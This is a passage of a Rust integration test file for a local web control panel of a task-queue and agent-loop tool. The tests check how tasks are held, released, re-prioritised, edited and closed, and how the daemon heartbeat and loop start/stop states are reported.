6913    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6914        let (_tmp, _repo, f) = talk_fixture().await;
6915        let id = f.post("/api/talks", None).await.json()["id"]
6916            .as_str()
6917            .expect("id")
6918            .to_owned();
6919        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6920        assert_eq!(closed.status, 200, "{}", closed.body);
6921
6922        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6923        assert_eq!(reopened.status, 200, "{}", reopened.body);
6924        assert_eq!(reopened.json()["status"], "open");
6925
6926        // Idempotent: reopening an already-open talk is not an error.
6927        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6928        assert_eq!(reopened_again.status, 200);
6929        assert_eq!(reopened_again.json()["status"], "open");
6930
6931        let said = f
6932            .post(
6933                &format!("/api/talks/{id}/say"),
6934                Some(r#"{"text":"still there?"}"#),
6935            )
6936            .await;
6937        assert_eq!(
6938            said.status, 202,
6939            "a reopened talk accepts turns again: {}",
6940            said.body
6941        );
6942    }
6943
6944    #[tokio::test]
6945    async fn talk_reopen_on_an_unknown_id_is_404() {
6946        let f = Fixture::start().await;
6947        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6948        assert_eq!(res.status, 404, "{}", res.body);
6949    }
6950
6951    #[tokio::test]
6952    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6953        let f = Fixture::start().await;
6954        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6955
6956        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6957        assert_eq!(deleted.status, 204, "{}", deleted.body);
6958
6959        let after = f.get(&format!("/api/talks/{id}")).await;
6960        assert_eq!(after.status, 404, "{}", after.body);
6961
6962        let listed = f.get("/api/talks").await.json();
6963        assert!(
6964            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6965            "a deleted talk must not linger in the list: {listed}"
6966        );
6967    }
6968
6969    #[tokio::test]
6970    async fn talk_delete_on_an_unknown_id_is_404() {
6971        let f = Fixture::start().await;
6972        let res = f.delete("/api/talks/nonexistent-id").await;
6973        assert_eq!(res.status, 404, "{}", res.body);
6974    }
6975
6976    #[tokio::test]
6977    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6978        let f = Fixture::start().await;
6979        let queue = f.queue();
6980        let mut task = Task::new(
6981            "spent".to_owned(),
6982            "Try again".to_owned(),
6983            PathBuf::from("/repo/magi"),
6984            Source::Human,
6985        );
6986        task.start("20260902-140502-bbbb".to_owned());
6987        task.fail("agent gave up", 9);
6988        queue.put(&mut task).expect("file the task");
6989
6990        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6991        assert_eq!(held.status, 200);
6992        assert_eq!(held.json()["status_str"], "held");
6993
6994        let released = f
6995            .post(&format!("/api/queue/{}/release", task.id), None)
6996            .await;
6997        assert_eq!(released.status, 200);
6998        assert_eq!(released.json()["status_str"], "queued");
6999        assert_eq!(
7000            released.json()["attempts"],
7001            0,
7002            "release is a real second chance, not an instant re-hold"
7003        );
7004        assert_eq!(
7005            queue.get(&task.id).expect("reload").status,
7006            TaskStatus::Queued,
7007            "the change is on disk, not only in the reply"
7008        );
7009        assert!(
7010            !f.home
7011                .path()
7012                .join("queue")
7013                .join(format!("{}.lock", task.id))
7014                .exists(),
7015            "the claim the mutation took is released again"
7016        );
7017    }
7018
7019    #[tokio::test]
7020    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
7021        let f = Fixture::start().await;
7022        let queue = f.queue();
7023        let mut task = Task::new(
7024            "busy".to_owned(),
7025            "Running right now".to_owned(),
7026            PathBuf::from("/repo/magi"),
7027            Source::Human,
7028        );
7029        queue.put(&mut task).expect("file the task");
7030        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7031
7032        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7033
7034        assert_eq!(res.status, 409);
7035        assert_eq!(
7036            queue.get(&task.id).expect("reload").status,
7037            TaskStatus::Queued,
7038            "the refused hold changed nothing"
7039        );
7040    }
7041
7042    #[tokio::test]
7043    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
7044        let f = Fixture::start().await;
7045        let queue = f.queue();
7046        let mut task = Task::new(
7047            "waiting on the migration".to_owned(),
7048            "Do the thing".to_owned(),
7049            PathBuf::from("/repo/magi"),
7050            Source::Human,
7051        );
7052        queue.put(&mut task).expect("file the task");
7053
7054        let held = f
7055            .post(
7056                &format!("/api/queue/{}/hold", task.id),
7057                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
7058            )
7059            .await;
7060        assert_eq!(held.status, 200, "{}", held.body);
7061        assert_eq!(held.json()["status_str"], "held");
7062        assert_eq!(
7063            held.json()["hold_reason"],
7064            "waiting for 20260101-000000-aaaa to land"
7065        );
7066
7067        let listed = f.get("/api/queue").await.json();
7068        assert_eq!(
7069            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
7070            "the card reads the reason off the same list route"
7071        );
7072
7073        // A hold with no body at all must keep working - most holds have no
7074        // reason to give.
7075        let mut plain = Task::new(
7076            "no reason given".to_owned(),
7077            "Do another thing".to_owned(),
7078            PathBuf::from("/repo/magi"),
7079            Source::Human,
7080        );
7081        queue.put(&mut plain).expect("file the task");
7082        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7083        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7084        assert!(held_plain.json()["hold_reason"].is_null());
7085
7086        let released = f
7087            .post(&format!("/api/queue/{}/release", task.id), None)
7088            .await;
7089        assert_eq!(released.status, 200);
7090        assert!(
7091            released.json()["hold_reason"].is_null(),
7092            "a release must clear the reason so the next hold does not inherit it"
7093        );
7094    }
7095
7096    #[tokio::test]
7097    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7098        let f = Fixture::start().await;
7099        let queue = f.queue();
7100        let mut older = Task::new(
7101            "filed first".to_owned(),
7102            "x".to_owned(),
7103            PathBuf::from("/repo/magi"),
7104            Source::Human,
7105        );
7106        older.id = "20260101-000001-aaaa".to_owned();
7107        let mut newer = Task::new(
7108            "filed second".to_owned(),
7109            "x".to_owned(),
7110            PathBuf::from("/repo/magi"),
7111            Source::Human,
7112        );
7113        newer.id = "20260101-000002-bbbb".to_owned();
7114        queue.put(&mut older).expect("file older");
7115        queue.put(&mut newer).expect("file newer");
7116
7117        // Equal priority: the newer task leads, the same order the old
7118        // newest-first `list()` already gave every equal-priority queue.
7119        let before = f.get("/api/queue").await.json();
7120        assert_eq!(before[0]["id"], newer.id);
7121        assert_eq!(before[1]["id"], older.id);
7122
7123        // Raising the *older* task is the meaningful case: it can only lead
7124        // now because its priority says so, not because it happens to be
7125        // newest.
7126        let raised = f
7127            .post(
7128                &format!("/api/queue/{}/priority", older.id),
7129                Some(r#"{"priority":10}"#),
7130            )
7131            .await;
7132        assert_eq!(raised.status, 200, "{}", raised.body);
7133        assert_eq!(raised.json()["priority"], 10);
7134
7135        let after = f.get("/api/queue").await.json();
7136        let names: Vec<&str> = after
7137            .as_array()
7138            .unwrap()
7139            .iter()
7140            .map(|t| t["id"].as_str().unwrap())
7141            .collect();
7142        // Highest priority first, which is the order next_runnable and
7143        // `magi task list` both use - GET /api/queue must agree with it
7144        // immediately, not just once the loop claims the task.
7145        assert_eq!(names[0], older.id, "the raised task now sorts first");
7146    }
7147
7148    #[tokio::test]
7149    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
7150        let f = Fixture::start().await;
7151        let queue = f.queue();
7152        let mut task = Task::new(
7153            "in flight".to_owned(),
7154            "x".to_owned(),
7155            PathBuf::from("/repo/magi"),
7156            Source::Human,
7157        );
7158        task.start("20260902-140502-bbbb".to_owned());
7159        queue.put(&mut task).expect("file the task");
7160
7161        let res = f
7162            .post(
7163                &format!("/api/queue/{}/priority", task.id),
7164                Some(r#"{"priority":9}"#),
7165            )
7166            .await;
7167        assert_eq!(res.status, 400, "{}", res.body);
7168        assert!(
7169            res.json()["error"]
7170                .as_str()
7171                .is_some_and(|e| e.contains("running")),
7172            "{}",
7173            res.body
7174        );
7175        assert_eq!(
7176            queue.get(&task.id).expect("reload").priority,
7177            0,
7178            "the refused write must not partially apply"
7179        );
7180    }
7181
7182    #[tokio::test]
7183    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7184        let f = Fixture::start().await;
7185        let queue = f.queue();
7186        let mut task = Task::new(
7187            "old title".to_owned(),
7188            "old instruction".to_owned(),
7189            PathBuf::from("/repo/magi"),
7190            Source::Agent {
7191                run: "20260101-000000-beef".to_owned(),
7192                node: "implement".to_owned(),
7193            },
7194        );
7195        task.runs.push("20260101-000000-beef".to_owned());
7196        queue.put(&mut task).expect("file the task");
7197        let created_at = task.created_at;
7198
7199        let edited = f
7200            .post(
7201                &format!("/api/queue/{}/edit", task.id),
7202                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7203            )
7204            .await;
7205        assert_eq!(edited.status, 200, "{}", edited.body);
7206        let body = edited.json();
7207        assert_eq!(body["title"], "new title");
7208        assert_eq!(body["instruction"], "new instruction");
7209        assert_eq!(body["id"], task.id, "editing must not mint a new id");
7210        assert_eq!(body["created_at"], created_at.to_string());
7211        assert_eq!(
7212            body["source"]["kind"], "agent",
7213            "editing a task an agent filed must not turn it human: {body}"
7214        );
7215        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7216
7217        let reloaded = queue.get(&task.id).expect("reload");
7218        assert_eq!(reloaded.title, "new title");
7219        assert_eq!(reloaded.instruction, "new instruction");
7220    }
7221
7222    #[tokio::test]
7223    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
7224        let f = Fixture::start().await;
7225        let queue = f.queue();
7226        let mut owner = Task::new(
7227            "owner".to_owned(),
7228            "review it".to_owned(),
7229            PathBuf::from("/repo/magi"),
7230            Source::Human,
7231        );
7232        owner.review_branch = Some("magi/ab12/A".to_owned());
7233        queue.put(&mut owner).expect("file the owner");
7234        let mut task = Task::new(
7235            "draft".to_owned(),
7236            "old".to_owned(),
7237            PathBuf::from("/repo/magi"),
7238            Source::Human,
7239        );
7240        queue.put(&mut task).expect("file the draft");
7241        let url = format!("/api/queue/{}/edit", task.id);
7242
7243        let refused = f
7244            .post(
7245                &url,
7246                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
7247            )
7248            .await;
7249        assert_eq!(refused.status, 409, "{}", refused.body);
7250        let msg = refused.json()["error"]
7251            .as_str()
7252            .unwrap_or_default()
7253            .to_owned();
7254        assert!(
7255            msg.contains("magi/ab12/A") && msg.contains("force"),
7256            "{msg}"
7257        );
7258        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
7259
7260        let forced = f
7261            .post(
7262                &url,
7263                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
7264            )
7265            .await;
7266        assert_eq!(forced.status, 200, "{}", forced.body);
7267    }
7268
7269    #[tokio::test]
7270    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7271        let f = Fixture::start().await;
7272        let queue = f.queue();
7273        let mut task = Task::new(
7274            "in flight".to_owned(),
7275            "do not touch".to_owned(),
7276            PathBuf::from("/repo/magi"),
7277            Source::Human,
7278        );
7279        task.start("20260902-140502-bbbb".to_owned());
7280        queue.put(&mut task).expect("file the task");
7281
7282        let res = f
7283            .post(
7284                &format!("/api/queue/{}/edit", task.id),
7285                Some(r#"{"title":"x","instruction":"y"}"#),
7286            )
7287            .await;
7288        assert_eq!(res.status, 400, "{}", res.body);
7289        assert!(
7290            res.json()["error"]
7291                .as_str()
7292                .is_some_and(|e| e.contains("running")),
7293            "{}",
7294            res.body
7295        );
7296        assert_eq!(
7297            queue.get(&task.id).expect("reload").instruction,
7298            "do not touch",
7299            "the refused edit must not change the file"
7300        );
7301    }
7302
7303    #[tokio::test]
7304    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7305        let f = Fixture::start().await;
7306        let queue = f.queue();
7307        let mut task = Task::new(
7308            "busy".to_owned(),
7309            "Running right now".to_owned(),
7310            PathBuf::from("/repo/magi"),
7311            Source::Human,
7312        );
7313        queue.put(&mut task).expect("file the task");
7314        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7315
7316        let priority = f
7317            .post(
7318                &format!("/api/queue/{}/priority", task.id),
7319                Some(r#"{"priority":9}"#),
7320            )
7321            .await;
7322        assert_eq!(priority.status, 409, "{}", priority.body);
7323
7324        let edit = f
7325            .post(
7326                &format!("/api/queue/{}/edit", task.id),
7327                Some(r#"{"title":"x","instruction":"y"}"#),
7328            )
7329            .await;
7330        assert_eq!(edit.status, 409, "{}", edit.body);
7331    }
7332
7333    #[tokio::test]
7334    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7335        let f = Fixture::start().await;
7336        let queue = f.queue();
7337        let mut task = Task::new(
7338            "shipped by hand".to_owned(),
7339            "merged outside the loop".to_owned(),
7340            PathBuf::from("/repo/magi"),
7341            Source::Agent {
7342                run: "20260101-000000-b455".to_owned(),
7343                node: "implement".to_owned(),
7344            },
7345        );
7346        task.runs.push("20260101-000000-b455".to_owned());
7347        task.runs.push("20260101-000000-9af4".to_owned());
7348        queue.put(&mut task).expect("file the task");
7349        let created_at = task.created_at;
7350
7351        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7352        assert_eq!(done.status, 200, "{}", done.body);
7353        assert_eq!(done.json()["status_str"], "done");
7354
7355        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7356        assert_eq!(
7357            reloaded.runs,
7358            ["20260101-000000-b455", "20260101-000000-9af4"]
7359        );
7360        assert_eq!(
7361            reloaded.source,
7362            Source::Agent {
7363                run: "20260101-000000-b455".to_owned(),
7364                node: "implement".to_owned(),
7365            }
7366        );
7367        assert_eq!(reloaded.created_at, created_at);
7368    }
7369
7370    #[tokio::test]
7371    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7372        // `done` is allowed on any status, including `held`, with no release
7373        // in between - so a task held for a reason and then closed directly
7374        // must not keep reading as "waiting on" it afterwards, on its card or
7375        // in `magi task show`.
7376        let f = Fixture::start().await;
7377        let queue = f.queue();
7378        let mut task = Task::new(
7379            "landed while held".to_owned(),
7380            "x".to_owned(),
7381            PathBuf::from("/repo/magi"),
7382            Source::Human,
7383        );
7384        task.hold_manual(Some("waiting on 3ed9".to_owned()));
7385        queue.put(&mut task).expect("file the held task");
7386
7387        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7388        assert_eq!(done.status, 200, "{}", done.body);
7389        assert_eq!(done.json()["status_str"], "done");
7390        assert!(
7391            done.json()["hold_reason"].is_null(),
7392            "a done task cannot still be waiting on something: {}",
7393            done.body
7394        );
7395    }
7396
7397    #[tokio::test]
7398    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7399        // `queue_done` is the phone's way to close a task the loop never
7400        // settled itself - after confirming a manual GitHub merge, say - and
7401        // that is just as much "this task's story is over" as the loop's own
7402        // `Merged`/`Ready` path, so it must trigger the same cleanup.
7403        let f = Fixture::start().await;
7404        let queue = f.queue();
7405        let runs = f.runs();
7406        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7407        // The last attempt has to have actually landed for the earlier one
7408        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
7409        // for the case where it didn't.
7410        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7411
7412        let mut task = Task::new(
7413            "landed by hand".to_owned(),
7414            "x".to_owned(),
7415            PathBuf::from("/repo/magi"),
7416            Source::Human,
7417        );
7418        task.runs.push("20260101-000000-doa1".to_owned());
7419        task.runs.push("20260101-000000-doa2".to_owned());
7420        queue.put(&mut task).expect("file the task");
7421
7422        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7423        assert_eq!(done.status, 200, "{}", done.body);
7424
7425        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7426            .expect("run still on disk under this fixture's own home");
7427        assert_eq!(
7428            reloaded_run.status,
7429            RunStatus::Superseded,
7430            "closing the task by hand must relabel the earlier blocked attempt exactly \
7431             like the loop's own settle path does"
7432        );
7433    }
7434
7435    #[tokio::test]
7436    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7437        // Closing a task by hand is allowed from any status, including one
7438        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
7439        // manual merge the loop never watched, say. Nothing here is provably
7440        // why the task is done, so nothing earlier gets relabelled either.
7441        let f = Fixture::start().await;
7442        let queue = f.queue();
7443        let runs = f.runs();
7444        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7445        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7446
7447        let mut task = Task::new(
7448            "closed with nothing actually landed".to_owned(),
7449            "x".to_owned(),
7450            PathBuf::from("/repo/magi"),
7451            Source::Human,
7452        );
7453        task.runs.push("20260101-000000-dob1".to_owned());
7454        task.runs.push("20260101-000000-dob2".to_owned());
7455        queue.put(&mut task).expect("file the task");
7456
7457        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7458        assert_eq!(done.status, 200, "{}", done.body);
7459
7460        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7461            .expect("run still on disk under this fixture's own home");
7462        assert_eq!(
7463            reloaded_run.status,
7464            RunStatus::Blocked,
7465            "the last recorded attempt never landed, so the earlier one must not be \
7466             relabelled as superseded by it"
7467        );
7468    }
7469
7470    #[tokio::test]
7471    async fn unknown_ids_are_json_not_found_on_both_stores() {
7472        let f = Fixture::start().await;
7473
7474        let run = f.get("/api/runs/nosuchrun").await;
7475        let task = f.post("/api/queue/nosuchtask/hold", None).await;
7476
7477        assert_eq!(run.status, 404);
7478        assert_eq!(task.status, 404);
7479        assert!(
7480            run.json()["error"]
7481                .as_str()
7482                .is_some_and(|e| e.contains("run")),
7483            "the error names what was not found: {}",
7484            run.body
7485        );
7486        assert!(
7487            task.json()["error"]
7488                .as_str()
7489                .is_some_and(|e| e.contains("task")),
7490            "the error names what was not found: {}",
7491            task.body
7492        );
7493    }
7494
7495    #[tokio::test]
7496    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7497        let f = Fixture::start().await;
7498
7499        let missing = f.get("/api/health").await.json();
7500        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7501
7502        write_daemon(
7503            f.home.path(),
7504            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7505        );
7506        let stale = f.get("/api/health").await.json();
7507        assert_eq!(
7508            stale["daemon"]["running"], false,
7509            "a minute without a heartbeat is a dead daemon, not a busy one"
7510        );
7511        assert!(
7512            stale["daemon"]["stale_for_secs"]
7513                .as_i64()
7514                .is_some_and(|s| s >= 55),
7515            "staleness is reported so the UI can say how long: {stale}"
7516        );
7517
7518        write_daemon(f.home.path(), Timestamp::now());
7519        let fresh = f.get("/api/health").await.json();
7520        assert_eq!(fresh["daemon"]["running"], true);
7521        assert_eq!(fresh["daemon"]["idle"], false);
7522        assert_eq!(fresh["daemon"]["pid"], 4242);
7523        assert_eq!(fresh["daemon"]["completed"], 7);
7524        assert_eq!(
7525            fresh["daemon"]["current"][0]["task"],
7526            "20260902-140501-aaaa"
7527        );
7528        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7529    }
7530
7531    #[tokio::test]
7532    async fn the_loop_is_not_running_until_something_starts_it() {
7533        let f = Fixture::start().await;
7534
7535        let view = f.get("/api/loop").await.json();
7536        assert_eq!(view["running"], false);
7537        assert_eq!(
7538            view["owned"], false,
7539            "nobody owns a loop that does not exist: {view}"
7540        );
7541        assert_eq!(view["stopping"], false);
7542        assert_eq!(view["last_error"], Value::Null);
7543        assert_eq!(view["daemon"]["running"], false);
7544        assert_eq!(
7545            view["repo"], "/repo/magi",
7546            "the repository a start would use, named before it is started"
7547        );
7548    }
7549
7550    #[tokio::test]
7551    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7552        let f = Fixture::start().await;
7553
7554        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7555        assert_eq!(res.status, 200, "{}", res.body);
7556        let view = res.json();
7557        assert_eq!(view["running"], true);
7558        assert_eq!(
7559            view["owned"], true,
7560            "the loop the UI started is the UI's own to stop: {view}"
7561        );
7562        assert_eq!(
7563            view["merge"],
7564            Value::Null,
7565            "no override was given, so each repository's own config decides"
7566        );
7567
7568        // The same object from the route a waking phone polls first. Two
7569        // surfaces disagreeing about whether anything is running is exactly
7570        // the confusion this UI exists to remove.
7571        let health = f.get("/api/health").await.json();
7572        assert_eq!(health["loop"]["running"], true, "{health}");
7573        assert_eq!(health["loop"]["owned"], true, "{health}");
7574
7575        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7576    }
7577
7578    #[tokio::test]
7579    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7580        let f = Fixture::start().await;
7581        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7582        assert_eq!(first.status, 200, "{}", first.body);
7583
7584        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7585        assert_eq!(
7586            again.status, 409,
7587            "two loops on one queue race for the same claims: {}",
7588            again.body
7589        );
7590        assert!(
7591            again.json()["error"]
7592                .as_str()
7593                .is_some_and(|e| e.contains("already running the loop")),
7594            "the refusal has to say why: {}",
7595            again.body
7596        );
7597        assert_eq!(
7598            f.get("/api/loop").await.json()["running"],
7599            true,
7600            "and the loop that was already running is untouched by it"
7601        );
7602
7603        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7604    }
7605
7606    #[tokio::test]
7607    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7608        let f = Fixture::start().await;
7609        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7610
7611        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7612        assert_eq!(
7613            res.status, 200,
7614            "the answer must not wait for the loop: a run in flight is tens of \
7615             minutes and the operator is holding a phone: {}",
7616            res.body
7617        );
7618
7619        let view = settled(&f, |v| v["running"] == false).await;
7620        assert_eq!(view["owned"], false);
7621        assert_eq!(
7622            view["stopping"], false,
7623            "a loop that has stopped is not still stopping: {view}"
7624        );
7625        assert_eq!(
7626            view["last_error"],
7627            Value::Null,
7628            "a loop that was asked to stop did not fail: {view}"
7629        );
7630
7631        // Idempotent, because the operator cannot tell a slow stop from a lost
7632        // one and will press it again.
7633        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7634        assert_eq!(twice.status, 200, "{}", twice.body);
7635    }
7636
7637    #[tokio::test]
7638    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7639        let f = Fixture::start().await;
7640        // How the operator has been doing it: a `magi serve` of their own,
7641        // heartbeat fresh, in the same home this UI reads.
7642        write_daemon(f.home.path(), Timestamp::now());
7643
7644        let view = f.get("/api/loop").await.json();
7645        assert_eq!(view["running"], false, "not in this process: {view}");
7646        assert_eq!(view["owned"], false, "and not this process's to control");
7647        assert_eq!(
7648            view["daemon"]["running"], true,
7649            "but a loop is alive somewhere, which is what the UI must say"
7650        );
7651        assert_eq!(view["daemon"]["pid"], 4242);
7652
7653        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7654            let res = f.post("/api/loop", Some(body)).await;
7655            assert_eq!(
7656                res.status, 409,
7657                "neither button may pretend to work on someone else's loop: {}",
7658                res.body
7659            );
7660            assert!(
7661                res.json()["error"]
7662                    .as_str()
7663                    .is_some_and(|e| e.contains("4242")),
7664                "the refusal has to name the process the operator must go to: {}",
7665                res.body
7666            );
7667        }
7668        assert_eq!(
7669            f.get("/api/loop").await.json()["running"],
7670            false,
7671            "and the refusal started nothing"
7672        );
7673    }
7674
7675    #[tokio::test]
7676    async fn a_stale_status_file_is_not_a_foreign_owner() {
7677        let f = Fixture::start().await;
7678        write_daemon(
7679            f.home.path(),
7680            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7681        );
7682
7683        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7684        assert_eq!(
7685            res.status, 200,
7686            "a daemon killed a minute ago must not lock the loop out of its \
7687             own home for good: {}",
7688            res.body
7689        );
7690        assert_eq!(res.json()["running"], true);
7691
7692        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7693    }
7694
7695    #[tokio::test]
7696    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7697        let f = Fixture::start().await;
7698        let before = f.get("/api/health").await.json()["loop_rev"]
7699            .as_u64()
7700            .expect("a loop revision");
7701
7702        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7703
7704        let after = f.get("/api/health").await.json()["loop_rev"]
7705            .as_u64()
7706            .expect("a loop revision");
7707        assert!(
7708            after > before,
7709            "the loop is in-process state, so this counter is the only thing \
7710             that tells a second device the first one started it: {before} -> \
7711             {after}"
7712        );
7713
7714        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7715    }
7716
7717    #[tokio::test]
7718    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7719        let f = Fixture::with_loop(launch_broken).await;
7720
7721        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7722        assert_eq!(
7723            res.status, 200,
7724            "starting it is not the failure: {}",
7725            res.body
7726        );
7727
7728        let view = settled(&f, |v| v["last_error"].is_string()).await;
7729        assert_eq!(
7730            view["running"], false,
7731            "a loop that died must not read as running, or the operator has \
7732             nothing to press: {view}"
7733        );
7734        assert_eq!(view["owned"], false);
7735        assert!(
7736            view["last_error"]
7737                .as_str()
7738                .is_some_and(|e| e.contains("read-only file system")),
7739            "the phone is where a loop that died at 3am is visible: {view}"
7740        );
7741
7742        // And it can be started again: the corpse was reaped, not left to
7743        // occupy the slot.
7744        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7745        assert_eq!(again.status, 200, "{}", again.body);
7746        assert_eq!(
7747            again.json()["last_error"],
7748            Value::Null,
7749            "a fresh start does not keep showing why the last one died"
7750        );
7751    }
7752
7753    /// An upgrade parks the run in flight before it restarts, and a park waits
7754    /// for the node - up to `timeout_implement`, an hour by default. The deck
7755    /// has to answer for all of it: the operator has just been told a run is
7756    /// finishing first, and this address is the only place that says how it is
7757    /// going. It did not, once - the listener went with the `select!` arm that
7758    /// began the handover, and the phone got `Cannot reach magi: Failed to
7759    /// fetch` for the rest of the wave.
7760    ///
7761    /// The other half is the older rule: the address must be free *before* the
7762    /// successor is started, or it dies on "address already in use" with its
7763    /// stdio sent to null and the deck never comes back.
7764    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7765    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7766        let home = TempDir::new().expect("temp home");
7767        let runs = home.path().join("runs");
7768        std::fs::create_dir_all(&runs).expect("runs dir");
7769        let ui = Ui::new(
7770            Queue::at(home.path().join("queue")),
7771            Questions::at(home.path().join("questions")),
7772            Talks::at(home.path().join("talks")),
7773            runs,
7774            home.path().to_path_buf(),
7775            PathBuf::from("/repo/magi"),
7776        )
7777        .with_worktrees_root(home.path().join("wt"))
7778        .with_launch(launch_knocking_on_the_way_out);
7779        let looping = ui.looping();
7780        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7781            .await
7782            .expect("bind loopback");
7783        let addr = listener.local_addr().expect("local addr");
7784        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7785        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7786
7787        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7788        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7789
7790        // The successor's whole job, and the one thing it cannot do while this
7791        // process still holds the socket.
7792        //
7793        // One bind is not enough, and the reason is not this process's order of
7794        // operations: aborting the accept loop drops the listener, but axum
7795        // serves each accepted connection on a task of its own, and those are
7796        // not aborted. The requests above left sockets on this very address,
7797        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
7798        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
7799        // Production absorbs that in `bind_waiting`; so does this. Only
7800        // `AddrInUse` is retried, and the listener is released before the
7801        // closure returns - were the order wrong, the listener would outlive
7802        // the closure and every attempt would fail. Inferred from the bind
7803        // rules and the code; not reproduced on macOS.
7804        let bound = std::sync::Mutex::new(None);
7805        hand_over(home.path(), &looping, served, |_| {
7806            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7807            let attempt = loop {
7808                match std::net::TcpListener::bind(addr) {
7809                    Ok(l) => {
7810                        drop(l);
7811                        break Ok(());
7812                    }
7813                    Err(e)
7814                        if e.kind() == std::io::ErrorKind::AddrInUse
7815                            && std::time::Instant::now() < deadline =>
7816                    {
7817                        std::thread::sleep(std::time::Duration::from_millis(10));
7818                    }
7819                    Err(e) => break Err(e.to_string()),
7820                }
7821            };
7822            *bound.lock().expect("bound") = Some(attempt);
7823            Ok(())
7824        })
7825        .await
7826        .expect("hand over");
7827
7828        assert_eq!(
7829            *PARK_HEARD.lock().expect("park heard"),
7830            Some(200),
7831            "the deck must answer while the loop is parking"
7832        );
7833        let attempt = bound
7834            .lock()
7835            .expect("bound")
7836            .take()
7837            .expect("the successor was started");
7838        assert!(
7839            attempt.is_ok(),
7840            "and the address must be free by the time it is: {attempt:?}"
7841        );
7842    }
7843
7844    #[tokio::test]
7845    async fn a_newer_daemon_status_file_still_renders() {
7846        let f = Fixture::start().await;
7847        // A field this build has never heard of must not turn the status line
7848        // into a 500; that is the whole reason the reader is permissive.
7849        std::fs::write(
7850            f.home.path().join("daemon.json"),
7851            serde_json::json!({
7852                "schema": 2,
